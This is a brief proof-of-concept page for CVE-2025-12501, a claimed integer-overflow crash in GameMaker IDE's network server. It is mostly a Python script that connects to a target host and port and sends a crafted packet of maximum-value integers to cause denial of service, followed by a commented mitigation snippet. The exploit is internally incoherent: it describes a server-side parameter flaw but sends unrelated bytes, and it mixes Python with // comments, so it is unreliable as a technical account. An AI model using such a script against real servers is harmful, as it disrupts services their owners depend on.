CVE-2025-12501: GameMaker IDE整数溢出漏洞导致拒绝服务

// CVE-2025-12501 PoC - Integer Overflow in GameMaker IDE network_create_server() // This PoC demonstrates triggering integer overflow via network request // Note: This is a conceptual PoC. Actual implementation requires GameMaker runtime. // Client-side exploit code (Python example) import socket import struct def exploit_gamemaker_server(target_ip, target_port): """ Send malicious packet to trigger integer overflow in GameMaker network server """ # Craft malicious packet with oversized values # Integer overflow occurs when these values are processed malicious_data = struct.pack('>I', 0xFFFFFFFF) # Max unsigned int malicious_data += struct.pack('>I', 0x7FFFFFFF) # Large positive int malicious_data += b'\x00' * 100 # Padding try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(malicious_data) print(f"Malicious packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"Error: {e}") // GameMaker script example (vulnerable code pattern) // function create_vulnerable_server() { // var server = network_create_server(network_socket_tcp, port, max_connections); // // Vulnerability: max_connections parameter not validated // // If passed a value causing overflow in internal calculations, // // can lead to crash or DoS // } // Mitigation: Always validate input parameters // function create_safe_server(port, max_connections) { // if (max_connections < 1 || max_connections > 65535) { // show_debug_message("Invalid connection limit"); // return -1; // } // return network_create_server(network_socket_tcp, port, max_connections); // }
